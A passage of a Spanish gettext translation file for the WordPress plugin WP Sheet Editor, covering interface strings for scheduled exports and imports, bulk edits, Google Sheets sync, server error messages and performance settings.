                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your 